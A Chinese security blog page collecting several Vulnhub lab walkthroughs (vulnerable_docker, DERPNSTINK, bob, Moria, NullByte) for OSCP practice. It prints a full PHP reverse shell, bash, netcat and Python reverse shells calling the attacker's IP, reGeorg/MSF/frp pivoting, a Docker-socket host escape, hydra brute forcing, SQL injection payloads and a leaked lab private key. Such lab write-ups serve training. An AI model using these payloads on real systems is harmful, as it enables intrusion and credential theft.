首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
5,251 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
4,485 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
3,260 阅读
4
几个常见的密码字典推荐
2,630 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
2,592 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
网络安全
Web安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
泷羽Sec
累计撰写
185
篇文章
累计收到
0
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
搜索到
175
篇与
的结果
2025-05-18
vulnerable_docker,3种代理方法打入内网,frp,msf,reGeorg
该项目是NotSoSecure作者精心制作的项目环境,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。——freebuf:YLion下载链接:https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova信息收集利用arp-scan进行主机发现arp-scan -l端口SYN全端口扫描,并指定好速率为4nmap -sS 10.10.10.129 -T4 -p-只开放了8000端口,并没有80端口这里用kali自带的密码字典,爆破时间较长,可以用开源的一个项目的字典git clone https://github.com/danielmiessler/SecLists利用wpscan进行用户枚举,和后台密码爆破,只有一个bob用户wpscan --url http://10.10.10.129:8000/ -e u -P darkweb2017-top10000.txt爆破结果为用户:bob,密码:Welcome1写入kali自带的反弹shell,payload,内容如下<?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = '10.10.10.128'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$stringn"; } } ?>此时kali开启监听nc -lvnp 1234web访问一个不存在的urlhttp://10.10.10.129:8000/2017/08/19/hello-world111111111111/创建交互式终端(这个环境没有python)python2 -c 'import pty; pty.spawn("/bin/bash")'内网渗透那么就直接信息收集吧,wordpress的站点,必存在数据交互,找数据库密码cd /var/www/html/ cat wp-config.php用户名为:wordpress,密码:WordPressISBest,但是当前shell找不到mysql命令,看来是限制了shell的命令输入这里是需要用到一个工具socat来创建交互式终端# kali wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat nc -lvnp 1234 # 靶机 curl -O 10.10.10.128:443/socat chmod +x socat ./socat tcp:10.10.10.128:1234 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane这样就创建成功了系统信息收集$ uname -a Linux 8f4bca8ef241 3.13.0-128-generic #177-ubuntu SMP Tue Aug 8 11:40:23 UTC 2017 x86_64 GNU/Linux $ lsb_release -a /bin/sh: 32: lsb_release: not found $ cat /etc/os-release PRETTY_NAME="Debian GNU/Linux 8 (jessie)" NAME="Debian GNU/Linux" VERSION_ID="8" VERSION="8 (jessie)" ID=debian HOME_URL="http://www.debian.org/" SUPPORT_URL="http://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/"ip信息收集本地IP信息探测,一共4个地址for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;将扫描的的IP信息全部填到hosts变量,写入端口扫描脚本,到kali里面#!/bin/bash hosts=( "172.18.0.1" "172.18.0.2" "172.18.0.3" "172.18.0.4" ) END=65535 for host in "${hosts[@]}" do echo "===============================" echo "Scanning $host" echo "===============================" for ((port=1;port<=END;port++)) do echo "" > /dev/tcp/$host/$port && echo "Port $port is open" done 2>/dev/null done靶机下载# 靶机 curl 10.10.10.128:443/ports_scan_script.sh -O chmod +x ports_scan_script.sh ./ports_scan_script.sh响应探测curl 172.18.0.3:8022curl 172.18.0.4上图可以看到网页标题基本一模一样,那么就可以断定这是容器内的ip,用Docker做了端口转发而已,那么我们可以利用的只有两个ip地址了,分别是.2和.3由于靶机没有mysqlDocker也没有代理1:reGeorg代理之路这就需要用到———reGeorg代理之路# kali curl -o tunnel.php https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.nosocket.php python -m http.server 443 # 靶机 cd /var/www/html curl -O 10.10.10.128:443/tunnel.php然后访问靶机http://10.10.10.129:8000/tunnel.phpGeorg says, 'All seems fine' 一切似乎都很好,kali攻击机执行如下命令python2 reGeorgSocksProxy.py -u http://10.10.10.129:8000/tunnel.php并修改代理工具proxychains配置文件vi /etc/proxychains4.conf这里代理成功了,能够正常访问靶机内网了这是第一个可以利用的内网ip我们先从第二个利用点开始,利用代理连接本地的mysql,这里会出现一个问题,连接远程数据库的时候proxychains mysql -uwordpress -pWordPressISBest -h 172.18.0.2 # ERROR 2026 (HY000): TLS/SSL error: unable to get local issuer certificate通常有两种解决方法在旧版本的mysql中 使用 --skip-ssl,如果是比较高的版本就是--ssl-mode=DISABLEDproxychains mysql -uwordpress -pWordPressISBest -h 172.18.0.2 --skip-ssl proxychains mysql -uwordpress -pWordPressISBest -h 172.18.0.2 --ssl-mode=DISABLED但是mysql用户表里面只有一个用户,并且这个密码我们已经知道了切换思路,利用那个web界面的ip,.3proxychains nmap -sT -sV 172.18.0.3 -p8022 -T4 -Pn可以看到是一个node项目,重新启动一个代理服务器,用kali的地址python2 reGeorgSocksProxy.py -u http://10.10.10.129:8000/tunnel.php -l 10.10.10.128修改代理配置vi /etc/proxychains4.conf打开浏览器,利用这个代理插件,添加一个代理访问http://172.18.0.3:8022/开始反弹shell/bin/bash -i >& /dev/tcp/10.10.10.128/1234 0>&1然后就要开始Docker逃逸了,当前Docker容器客户端,通过Docker.sock文件可以直接访问到对应的容器内部对应的学习文章:https://www.secpulse.com/archives/55928.html要进行Docker逃逸,但是没有Docker命令。。。。。。我们需要安装一个通过uname -a可以看到系统信息为ubuntu系统,再查看版本信息,为14.04cat /proc/version普通的安装不太行,我们需要换源deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse利用echo命令将上面的源重定向/etc/apt/sources.listecho '源' > /etc/apt/sources.list apt-get update apt-get install Docker.io然后执行如下命令,会报一个错误,cannot enable tty mode on non tty input,不能在非tty输入上启用tty模式,也就是这个终端不是交互式终端,需要创建一个交互式终端,也可以直接返回到网页上进行操作Docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash我们返回网页,一切正常Docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash cd /tmp/1 cat flag_3Docker学习与remote API未授权访问分析和利用:https://www.secpulse.com/archives/55928.html代理二:MSF利用MSF的监听,并对ip和端口进行修改use exploit/multi/handler set lhost 10.10.10.128 set lport 1234 run -j # 将这个监听程序放到后台执行,上线了就会生成会话新建一个终端,查看是否在监听中netstat -tulnp访问修改的木马文件http://10.10.10.129:8000/2017/08/19/hello-world1111111111111111/进入到已经上线的会话1sessions -i # 显示所有已经上线的会话 sessions 1 # 进入第一个会话但是这个会话并不是稳定的shell(不是交互式终端),我们可以利用MSF创建交互式终端use post/multi/manage/shell_to_meterpreter set session 2 run查看网卡信息ipconfig 或者 ifconfig # MSF命令不是系统命令查看路由信息 route添加路由表run autoroute -s 172.18.0.0/24查看路由表情况run autoroute -p退出当前会话 bg 即 background 不会导致shell断开,开始配置路由use post/multi/manage/autoroute set SUBNET 172.18.0.0 # 你刚刚看到的路由情况填到这里 set session 3 run进行内网探测(ip存活数量)use auxiliary/scanner/portscan/tcp set session 3 set rhosts 172.18.0.0/24 run开启socks4a proxy代理:use auxiliary/server/socks_proxy set SRVPORT 1090 set session 2 runshi用netstat -tulnp查看断开占用情况netstat -tulnp设置好代理后就需要修改代理文件(这里修改的是kali的nat网卡的ip,而不是127.0.0.1为的就是方便windows机器连接这个代理,从而能使用浏览器访问靶机内网)vi /etc/proxychains4.conf socks5 10.10.10.128 1090成功进入内网代理三:frpfrp利用工具wget https://github.com/fatedier/frp/releases/download/v0.22.0/frp_0.22.0_linux_amd64.tar.gzfrpc.ini[common] server_addr = 192.168.27.195 server_port = 7000 [http_proxy] type = tcp remote_port = 7777 plugin = socks5frps.ini[common] bind_port = 7000 bind_addr = 0.0.0.0随后准备上传到靶机上# kali python -m http.server 443 # 靶机 cd /tmp curl -O 10.10.10.128:443/frpc curl -O 10.10.10.128:443/frpc.ini chmod +x frpc # kali ./frps -c frps.ini # 靶机 ./frpc -c frpc.ini注:如果靶机出现如下问题那么就需要在frps.ini中添加如下内容,此时就能代理成功了,原因: frp 客户端和服务器的系统时间相差过大,导致身份验证超时。authentication_timeout = 0修改代理工具proxychains4vi /etc/proxychains4.conf成功进入内网如果需要浏览器访问的话,前面已经演示过了,这里再演示一遍,打开代理插件,选择连接即可,输入kali的代理地址和端口学习于:https://www.freebuf.com/vuls/347867.html,文章写的很好,可以参考参考,这里还有CS上线的方法,默认CS只能上线windows,但是这里用了插件,能上线linux。往期推荐【OSCP】超长攻击链,TommyBoy1dot0——过年快乐!一分钟搭建本地大模型DeepSeek!永久免费!无需联网!一条命令即可搭建!【OSCP】IMF缓冲区提权靶机渗透【OSCP】稀有靶机-Readme【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【OSCP】tar、zip命令提权—zico2
2025年05月18日
1,422 阅读
0 评论
0 点赞
2025-05-18
Vulnhub-DERPNSTINK 1
根据作者提示,就是让我们收集一些网页上泄露的信息,获取系统的最高权限利用arp-scan对网络中的主机进行发现masscan端口扫描工具,对端口快速扫描分别有80,21,22端口开启了使用nmap对masscan扫描出来的端口进行指纹识别查看这个网页的源代码,找到第一个flag看样子靶场应该和网页源代码有关,只有这两个图片和DeRPnStiNK利用这两个名字进行登录测试,皆没有权限查看目录扫描出来的phpmyadmin但是我们访问的时候呢,自动跳转到了这个域名derpnstink.local,说明还是要添加hosts的发现关键字,wp-content,这不就是wordpress嘛使用这个wpscan wordpress渗透工具扫描的时候,发现自动重定向到了这个域名使用kali添加hosts利用wpscan发现可能存在的用户,以及进行密码爆破wpscan --url "http://derpnstink.local/weblog/" -e u -P /data/SecLists_Dict/Passwords/darkweb2017-top10000.txt这个不行嘞貌似能够用文件上传获取shell但是我们访问这个链接的时候呢没有任何东西的报的404,检索插件利用34681这个py文件的时候报了很多错,只能用msf了python3 -c 'import pty;pty.spawn("/bin/bash")'https://hashes.com/zh/decrypt/hash账号密码为:unclestinky/wedgie57登录后得到flag2密码碰撞,猜测密码为 home下面的用户密码,stinky 用户登录成功切换到这个用户的目录下面,发现一个ssh的密匙文件(没有什么卵用)切换到当前用户的桌面下发现flag3mrderp / derpderpderpderpderpderpderp提权方法如下
2025年05月18日
1,691 阅读
0 评论
0 点赞
2025-05-18
Vulnhub靶机bob
主机发现访问第三个ip端口扫描发现ssh端口放到25468了,先记着利用dirb进行目录扫描查看robots.txt爬虫协议给了我们一封信,这是第一个html文件第二个dev_shell.phpfantanshellrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.128 1234 >/tmp/f测试python3python3反弹shell也不行python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' 对其进行url编码(也不行)用bash试了试,没有任何回显/bin/bash -i >& /dev/tcp/10.10.10.128/1234 0>&1那么进行嵌套试试,这样就反弹成功了bash -c '/bin/bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'创建交互式终端python3 -c 'import pty; pty.spawn("/bin/bash")';在查找suid文件的时候,意外发现了一个eximfind / -perm -4000 -print 2>/dev/null看看他的版本信息,是4.89漏洞检索出来一个 46996将其复制到当前目录,并开启一个交互式终端靶机cd /tmp wget 10.10.10.128:5000/46996.sh chmod +x 46996.sh ./46996.sh失败了,切换思路这里有两个密码信息,Qwerty / theadminisdumb经过测试后,这两个密码分别对应着 jc / elliot,这两个用户,有了密码,并且发现他们都能使用sudo在这个bob用户的文档发现了一个gpg加密的文件,我们从靶机下载下来python3 -m http.server我们使用kali的gpg工具解密.gpg 文件是使用 GPG(GNU Privacy Guard) 加密工具生成的文件格式,通常用于保护文件内容的机密性。这类文件需要通过 GPG 私钥和密码才能解密。gpg login.txt.gpg需要我们输入密码我们找找密码继续搜查,发现一个脚本文件,内容是输出一些语句,每行的首字母都是大写,将每一行的大写字母都提取出来 HARPOCRATES,这会不会就是刚刚加密文件的密码?++解密成功,得到了bob用户的密码为b0bcat_ssh bob@10.10.10.204 -p 25468至此提权结束往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
1,644 阅读
0 评论
0 点赞
2025-05-18
Vulnhub靶机Moria1.1
typora-root-url: ./......typora_imgMoria1.1目标靶机的下载地址:https://www.vulnhub.com/entry/moria-1,187/主机发现&端口扫描,开启的端口只有21,22,80端口开启,并且没有FTP匿名登录打开网页信息收集插件Wappalyzer扫出来一个w目录访问DAIn:“那是人类聋子吗?它为什么不听呢?” ---网易有道可以看到这是一个目录,那么我们可以对这个目录进行扫描,使用gobuster工具gobuster dir -u http://10.10.10.202/w/h/i/s/p/e/r/the_abyss/ -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,html,zip扫出来了一个random.txt看样子是让我们敲门了,但是顺序并不清楚,尝试连接ftp,提示了欢迎Balrog,但是我们不知道密码抓包嘛在Wireshark中,红色背景的流量包通常表示存在错误或异常的网络流量。这些流量包可能违反了协议规范,或者包含了错误的数据。如图所示,可能的敲门端口顺序就是如下77,100,108,108,111,110,54,57,敲门敲了,但是没发现隐藏端口knock -v 10.10.10.202 77 100 108 108 111 110 54 57查了一下,这泥煤的要用ASCII码,推荐一个网址:https://coding.tools/cn/ascii-table77-M,100-d,108-l,108-l,111-o,110-n,54-6,57-9总结就是Mellon69,发现一个.bash_history(文件保存了用户在终端中执行过的命令。)没有下载权限切换上级目录试试,整个系统文件都出来了切换到var/www/html目录有一段乱码真的蠢子,这样就得到了密码解密结果如下 https://www.somd5.com/Balin:flower Oin:rAInbow Ori:spanky Maeglin:fuckoff Fundin:hunter2 NAIn:warrior DAIn:abcdef ThrAIn:darkness Telchar:magic创建好两个字典┌──(root㉿kali)-[/data/demo] └─# cat user.txt Balin Oin Ori Maeglin Fundin NAIn DAIn ThrAIn Telchar ┌──(root㉿kali)-[/data/demo] └─# cat pass.txt flower rAInbow spanky fuckoff hunter2 warrior abcdef darkness magic爆破失败hydra -L user.txt -P pass.txt -t 4 -vV 10.10.10.202 ssh查看源码(没啥用)此时ssh连接的时候拒绝连接了,看样子是限制爆破,所以刚刚爆破失败了等个1-2分钟的样子,手动连吧,只有Ori能登录进行一些基本的信息收集uname -a hostname # 主机名 # 系统信息相关 lsb_release -a cat /etc/os-release cat /proc/version # 权限相关 sudo -l # 查看可以使用sudo的文件 find / -perm -4000 -print 2>/dev/null # 查找 SUID文件 ls -al /etc/cron* # 查看所有计划任务 find / -perm 777 -type f -u root 2>/dev/null # 查看文件权限为777的文件信息 # 其他信息收集 ps -aux netstat -tulnp history 上面都没找到什么,那就回家,看到一个poem.txt文件,并没啥作用,用ls -al列出所有的内容会发现一个.ssh文件夹,进去后有三个和ssh登录的密匙文件,known_hosts文件中包含了一个本地连接的记录,尝试实用ssh连接127.0.0.1,并且是root用户,发现连接成功,至此提权成功-bash-4.2$ ls -al total 8 drwx------ 3 Ori notBalrog 55 Mar 12 2017 . drwxr-x---. 4 root notBalrog 32 Mar 14 2017 .. -rw------- 1 Ori notBalrog 20 Feb 9 23:44 .bash_history -rw-r--r-- 1 root root 225 Mar 13 2017 poem.txt drwx------ 2 Ori notBalrog 57 Mar 12 2017 .ssh -bash-4.2$ cat poem.txt Ho! Ho! Ho! to the bottle I go To heal my heart and drown my woe. RAIn may fall and wind may blow, And many miles be still to go, But under a tall tree I will lie, And let the clouds go sailing by. PS: Moria will not fall! -bash-4.2$ cd .ssh -bash-4.2$ ls -al total 12 drwx------ 2 Ori notBalrog 57 Mar 12 2017 . drwx------ 3 Ori notBalrog 55 Mar 12 2017 .. -rw------- 1 Ori notBalrog 1679 Mar 12 2017 id_rsa -rw-r--r-- 1 Ori notBalrog 392 Mar 12 2017 id_rsa.pub -rw-r--r-- 1 Ori notBalrog 171 Mar 12 2017 known_hosts -bash-4.2$ cat id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAu+OTcbouwWKZ6JRYBJXSIp9c8N/+w/0R7A0s5K1Kj45FBhpA k0U/eZJIcpZZYUu9a5yfEZFnlUHshVjD12KTvvANIfvTalP0+uGrOSlF/b1tt8Ol VQW8bgvAJXGom881bsUnu5r4BXp0S5HIoRES2k9BHkP7ZmkhknC83D+zTln/2uHv H/piA5x3aFKDz3NzvJQNEjn/U9pivljAVVruXa0TDYDnjexsZtG3Ctse9fQlj7sq sosqmU2aXEu03R/oHN+jlMn2woKiRnUdoCNaNe5/lYS7leMcMl8AI7hEMgJXSudB GCyLuzDvbQgRi3dOFAs72YSuG/dtMNooEHLr4QIDAQABAoIBAQCGpQbDqE3bTgLH lo8g8hC9uQCMqajT4KaYR7TVR444JBc40VVXdHeRcpAydaYlwHZFCN9BYrcdUjni MYNe9Yi1eyeeI+4Us4fKxi/C7d33gWmAGFeB/3NSVV9kNfhDeBFtiSH5Iov8uQ1g Hl/tdOPSyJr8ynD9qfdiDyJ4n7mqOj/zxT9FxHU2MXQIgQlaGrdeJNS28SAi+Qmp W5qqN2cVxL9rhsD29XQu7X7p/rHKpaVOmeCnr8r7mykhW7XZ1oDHypWUyVJQTcag 7LR5iHr4PBT0esCKeGp8HPClGoD7txsH6JHKLqgoOuhzN9yz8LaBpjUtxPx6sIGr nvChTYLVAoGBAOgz2cvnIDImduC8K3BKDfnvT7p9S6qKG/zANCmSIpFvODOWJKMh /cvrpAdhqYibp8irtcFu2MMGbaZiDY6pjXq1FaTsWXaAU1+4ScPG7lARL3zhti7q iUq3KIwk0gJP2Tuta9TOnBk7bIF+q1WCmi0jYIqhPfZPILykhYN/Kt3XAoGBAM8l GS6lowCjsk6S9ru5Iroy+p9G1lds/ab7NXsk3dxRO4zxrrFPSRl/ztjupTTzBhXG /+0cxncwM9JPZEKzeB48RG+BWKtVVUC96WNJvvzI9tIqL1cmyTZj7J3yAeBdwMj8 Qi9hdsABbqPUHrydDePDVsK//E/w6wIt/p2qVp0HAoGBAMOjVCCA9lZqpARLZknw iwAGymT0xjjErjnw8sIHtwpT68VC/lFYBU63lfcGKOHJS78+NR/ptcXzd5UUzhlh 76rwQXE4FVRLYHOogLXruMRLBniwb1/uCYii8w3IxAxgnEW0osKk5U45C/267L5a EG5xfRiwK9WH66wk7bzR+xr3AoGAMbFqqyAdTIf4vJTREBPH2vdj3FX4EZ0Z9LcL C3G6r6HlMVjBWdP1a2KX0r7dbyhl60+EEfP3QJyVsfxNxxqa1FYM7NsQ1HlyLEfi 92i3opjrbVulY7jwSFYMa4+lF5gmKZEqp4cwH7u4OSEoBoN+04cHB01bUCoxlqJG FLjKcn0CgYEAsKVwN6ED885zyrLQcYDkX4/w2gGW6Mrr0pIFnmQlkfGTqT3wZT09 ZMk2LuYPnowQDczFLmMnCw8HskSTIjUCri7vt/E3haMH7JC6YO7WAaRaJ81k9z10 eIJLNgKU5DxCtdKgGeIwlReZSPBBjU5FGtEhfJsL3n3bNYpfGk7ckug= -----END RSA PRIVATE KEY----- -bash-4.2$ cat id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC745Nxui7BYpnolFgEldIin1zw3/7D/RHsDSzkrUqPjkUGGkCTRT95kkhylllhS71rnJ8RkWeVQeyFWMPXYpO+8A0h+9NqU/T64as5KUX9vW23w6VVBbxuC8AlcaibzzVuxSe7mvgFenRLkcihERLaT0EeQ/tmaSGScLzcP7NOWf/a4e8f+mIDnHdoUoPPc3O8lA0SOf9T2mK+WMBVWu5drRMNgOeN7Gxm0bcK2x719CWPuyqyiyqZTZpcS7TdH+gc36OUyfbCgqJGdR2gI1o17n+VhLuV4xwyXwAjuEQyAldK50EYLIu7MO9tCBGLd04UCzvZhK4b920w2igQcuvh Ori@Prison -bash-4.2$ cat known_hosts 127.0.0.1 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCuLX/CWxsOhekXJRxQqQH/Yx0SD+XgUpmlmWN1Y8cvmCYJslOh4vE+I6fmMwCdBfi4W061RmFc+vMALlQUYNz0= -bash-4.2$ ssh root@127.0.0.1 -i id_rsa Last login: Fri Apr 28 18:01:27 2017 [root@Moria ~]# whoami root本次提权主要还是属于root用户的ssh私匙泄露导致的权限提升,难度不是很大,师傅们如果还有其他思路,欢迎指出。往期推荐【OSCP】Blender软件的信息泄露---VulnOSv2【OSCP】Tr0ll 靶机全系列(1-3),FTP被玩坏了【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略
2025年05月18日
805 阅读
0 评论
0 点赞
2025-05-18
Vuln靶机NullByte
靶机下载链接:https://www.vulnhub.com/entry/nullbyte-1,126/主机发现利用nmap进行端口扫描,发现ssh端口被放到了777端口,这里需要注意一下,后面使用ssh连接的时候需要使用 -p 77780端口经过目录扫描,发现了一个phpmyadmin数据库管理工具,并使用了SQL注入,弱口令等测试,均没有效果直到下载了主页的这个mAIn.gif文件,得到一个密文kzMb5nVYJw可能是phpmyadmin的root密码去登录phpmyadmin试试(失败),那么就切换思路,既然是在web上,那么还有可能和目录相关查看源码,说这个表单没有连接mysql数据库,密码也很简单,说明可以直接爆破了本着oscp考试不能使用burp专业版,那么就用hydra进行爆破,参数如下hydra -l admin -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.205 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -f参数解析:-l 表示指定一个用户进行爆破(在这里没有实际意义),-P指定一个密码字典-t 指定爆破的线程数量-vV 表示显示爆破的过程http-post-form 表示以表单的形式进行爆破^PASS^ 表示在这个指定的字典中,所有单个密码的一个变量invalid key 表示排除字段,即出现哪些字符表示失败输入这个密码后,就能进入一个搜索框框页面eliteSQL注入利用,一下子全部数据都出来了,说明存在SQL注入漏洞http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=a" or 1=1 -- +那么接下俩判断列,sql语句报错了,说明不存在5列a" order by 5 --+但是奇怪的是,没有数据回显a" order by 3 --+这里需要仔细琢磨下,发现只能使用对应的用户名作为参数isis" order by 3 --+联合注入测试,这个时候就多了一条数据,前面的isis用户的数据也存在isis" union select 1,2,3 --+暴库http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(schema_name),3 from information_schema.schemata --+发现了两个可能利用的数据库phpmyadmin,seth,由于phpmyadmin是直接连接的mysql服务器,所以不存放mysql密码,可以跳过,所以我们接下来就需要对seth数据库进行枚举暴seth表,敏感表usershttp://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="seth" --+暴users字段http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="phpmyadmin" and table_name="pma__users" --+暴users数据http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(id,'-',user,'-',pass),3 from users --+看样子是 一个base64的编码,解密看看,是一个hash,c6d6bd7ebf806f43c76acc3681703b81利用hash识别工具识别解密的结果为md5ramses用户的密码为omega连接ssh(phpmyadmin密码试过了登录失败)查找SUID文件,发现了一个procwatch文件切换到这个目录下面,还发现了一个readme.txt, 